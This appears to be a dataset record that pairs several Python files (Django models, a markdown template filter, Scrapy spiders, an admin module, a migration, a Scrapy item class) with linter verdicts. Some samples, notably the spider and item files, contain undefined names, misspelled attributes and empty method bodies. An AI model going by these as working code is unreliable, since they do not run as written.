35 pipeline_order = models.IntegerField()
36 pipeline_function = models.TextField(blank=True)
37 project = models.ForeignKey(Project, on_delete=models.CASCADE)
38
39 def __str__(self):
40 return self.pipeline_name
41
42
43 class LinkgenDeploy(models.Model):
44 project = models.ForeignKey(Project, on_delete=models.CASCADE)
45 success = models.BooleanField(blank=False)
46 date = models.DateTimeField(auto_now_add=True)
47 version = models.IntegerField(blank=False, default=0)
48
49
50 class ScrapersDeploy(models.Model):
51 project = models.ForeignKey(Project, on_delete=models.CASCADE)
52 success = models.TextField(blank=True)
53 date = models.DateTimeField(auto_now_add=True)
54 version = models.IntegerField(blank=False, default=0)
55
56
57 class Dataset(models.Model):
58 user = models.ForeignKey(User)
59 database = models.CharField(max_length=50) | 5 - refactor: too-few-public-methods
17 - refactor: too-few-public-methods
25 - refactor: too-few-public-methods
33 - refactor: too-few-public-methods
43 - refactor: too-few-public-methods
50 - refactor: too-few-public-methods
57 - refactor: too-few-public-methods
|
1 # -*- coding: utf-8 -*-
2 """
3 -------------------------------------------------
4 File Name： custom_filter.py
5 Description :
6 Author : JHao
7 date： 2017/4/14
8 -------------------------------------------------
9 Change Activity:
10 2017/4/14:
11 -------------------------------------------------
12 """
13 __author__ = 'JHao'
14
15 import markdown
16 from django import template
17 from django.utils.safestring import mark_safe
18 from django.template.defaultfilters import stringfilter
19
20 register = template.Library()
21
22
23 @register.filter
24 def slice_list(value, index):
25 return value[index]
26
27
28 @register.filter(is_safe=True)
29 @stringfilter
30 def custom_markdown(value):
31 content = mark_safe(markdown.markdown(value,
32 output_format='html5',
33 extensions=[
34 'markdown.extensions.extra',
35 'markdown.extensions.fenced_code',
36 'markdown.extensions.tables',
37 ],
38 safe_mode=True,
39 enable_attributes=False))
40 return content
41
42
43 @register.filter
44 def tag2string(value):
45 """
46 将Tag转换成string >'python,爬虫'
47 :param value:
48 :return:
49 """
50 return ','.join([each.get('tag_name', '') for each in value])
51
52
53 if __name__ == '__main__':
54 pass
| Clean Code: No Issues Detected
|
1 import scrapy
2 from scrapy.spiders import CSVFeedSpider
3 from scrapy.spiders import SitemapSpider
4
5 from scrapy.spiders import CrawlSpider,Rule
6 from scrapy.linkextractor import LinkExtractor
7 from tuto.items import DemoItem
8 from scrapy.loader import ItemLoader
9 from tuto.items import Demo
10
11 class DemoSpider(CrawlSpider):
12 name='demo'
13 allowed_domais=["www.tutorialspoint.com"]
14 start_url=["https://www.tutorialspoint.com/scrapy/index.htm"]
15
16 def parse(self, response):
17 l = ItemLoader(item = Product(), response = response)
18 l.add_xpath("title", "//div[@class = 'product_title']")
19 l.add_xpath("title", "//div[@class = 'product_name']")
20 l.add_xpath("desc", "//div[@class = 'desc']")
21 l.add_css("size", "div#size]")
22 l.add_value("last_updated", "yesterday")
23 return l.load_item()
24 # loader = ItemLoader(item = Item())
25 # loader.add_xpath('social''a[@class = "social"]/@href')
26 # loader.add_xpath('email','a[@class = "email"]/@href')
27
28 # rules =(
29 # Rule(LinkExtractor(allow=(),restrict_xpaths=('')))
30 # )
31
32 class DemoSpider(CSVFeedSpider):
33 name = "demo"
34 allowed_domains = ["www.demoexample.com"]
35 start_urls = ["http://www.demoexample.com/feed.csv"]
36 delimiter = ";"
37 quotechar = "'"
38 headers = ["product_title", "product_link", "product_description"]
39
40 def parse_row(self, response, row):
41 self.logger.info("This is row: %r", row)
42 item = DemoItem()
43 item["product_title"] = row["product_title"]
44 item["product_link"] = row["product_link"]
45 item["product_description"] = row["product_description"]
46 return item
47
48 class DemoSpider(SitemapSpider):
49 urls = ["http://www.demoexample.com/sitemap.xml"]
50
51 rules = [
52 ("/item/", "parse_item"),
53 ("/group/", "parse_group"),
54 ]
55
56 def parse_item(self, response):
57 # you can scrap item here
58
59 def parse_group(self, response):
60 # you can scrap group here | 59 - error: syntax-error
|
1 from django.contrib import admin
2
3 # Register your models here.
4
5
6 from blog.models import Tag, Article, Category
7
8
9 @admin.register(Article)
10 class ArticleAdmin(admin.ModelAdmin):
11 date_hierarchy = 'date_time'
12 list_display = ('title', 'category', 'author', 'date_time', 'view')
13 list_filter = ('category', 'author')
14 filter_horizontal = ('tag',)
15
16
17 @admin.register(Category)
18 class CategoryAdmin(admin.ModelAdmin):
19 pass
20
21
22 @admin.register(Tag)
23 class TagAdmin(admin.ModelAdmin):
24 pass
| 10 - refactor: too-few-public-methods
18 - refactor: too-few-public-methods
23 - refactor: too-few-public-methods
|
1 # -*- coding: utf-8 -*-
2 from __future__ import unicode_literals
3
4 from django.db import migrations, models
5
6
7 class Migration(migrations.Migration):
8
9 dependencies = [
10 ('scrapyproject', '0004_pipeline_pipeline_function'),
11 ]
12
13 operations = [
14 migrations.RemoveField(
15 model_name='project',
16 name='settings',
17 ),
18 migrations.AddField(
19 model_name='project',
20 name='settings_link_generator',
21 field=models.TextField(blank=True),
22 ),
23 migrations.AddField(
24 model_name='project',
25 name='settings_scraper',
26 field=models.TextField(blank=True),
27 ),
28 ]
| 7 - refactor: too-few-public-methods
|
1
2 import scrapy
3
4
5 class FirstScrapyItem(scrapy.Item):
6 # define the fields for your item here like:
7
8 item=DmozItem()
9
10 item ['title'] = scrapy.Field()
11 item ['url'] = scrapy.Field()
12 item ['desc'] = scrapy.Field()
13 | 8 - error: undefined-variable
5 - refactor: too-few-public-methods
|
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